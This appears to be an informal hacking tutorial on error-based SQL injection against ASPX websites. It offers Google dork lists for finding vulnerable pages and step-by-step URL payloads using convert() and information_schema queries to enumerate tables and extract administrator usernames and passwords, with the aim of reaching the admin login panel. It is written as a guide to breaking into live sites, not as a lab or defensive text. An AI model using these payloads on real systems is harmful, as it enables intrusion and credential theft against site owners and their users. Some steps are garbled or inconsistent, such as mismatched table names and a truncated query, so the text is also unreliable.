Hacking Aspx websites

hey guys in this tutorial i will show you how to make a injection on a aspx based website.

1) seach aaspx website.
for this step you can use one of this dorks
".aspx?bookID="
".aspx?cart="
".aspx?cartID="
".aspx?catalogid="
".aspx?category_list="
".aspx?CategoryID="
".aspx?catID="
".aspx?cid="
".aspx?code_no="
".aspx?code="
".aspx?designer="
".aspx?framecode="
".aspx?id="
".aspx?idcategory="
".aspx?idproduct="
".aspx?intCatalogID="
".aspx?intProdId="
".aspx?item_id="
".aspx?item="
".aspx?itemID="
".aspx?maingroup="
".aspx?misc="
".aspx?newsid="
".aspx?order_id="
".aspx?p="
".aspx?pid="
".aspx?ProdID="
".aspx?product_id="
".aspx?product="
".aspx?productid="
".aspx?showtopic="
".aspx?Sku="
".aspx?storeid="
".aspx?style_id="
".aspx?StyleID="
".aspx?userID="
".aspx?Id="

2) If you found one lets check if the website is vulnverable. Add this text after the url
"order by 1--"
example : http://www.target.com/index.aspx?Id=1 order by 1--
Now you will get a Error : "Page not found" or something like that.

3) Lets go on and begin with the Injection the first step of every injection is to find out the columns.
for this step we use :
"having 1=1"
you only have to copy it behind the url
example : http://www.target.com/index.aspx?Id=1 having 1=1

4) Well lets go on and search the tables. Use this code for it
and 1=convert
example : http://www.target.com/index.aspx?Id=1 and 1=convert
The output is the first table of the databse. But this table don't helps you .
You need to find the admin table.
Use this query to get the next table :
"and 1=convert
(int,(select top 1 table_name from information_schema.tables where
table_name not in ('Tab_FinalOrder')))"

example : http://www.target.com/index.aspx?Id=1 and 1=convert
(int,(select top 1 table_name from information_schema.tables where
table_name not in ('Tab_FinalOrder')))

Now we get the name of the admin table. The Admintable name is in this example "Administration"

5) Now lets get into the table Administration
use this query for it:
and 1=convert

"(int,(select top 1 column_name from information_schema.
columns where table_name = 'AdminMaster'))"

example : http://www.target.com/index.aspx?Id=1 and 1=convert
(int,(select top 1 column_name from information_schema.
columns where table_name = 'AdminMaster'))

6) Our results are the tables "AdminName" and "AdminPassword"
Now have dont the most part of this injection. The last step is to find out Adminname and Adminpassword.

Query for Admin name :
"and 1=convert(int,(select top 1 AdminName from Administration))"
example : http://www.target.com/index.aspx?Id=1 and 1=convert(int,(select top 1 AdminName from Administration))

Query for Admin pass :
"and 1=convert(int,(select top 1 AdminPassword from Administration))"
example : http://www.target.com/index.aspx?Id=1 and 1=convert(int,(select top 1 AdminPassword from Administration))

7) So now your are nearly finish. You only need to find out the Admin Login Pannel.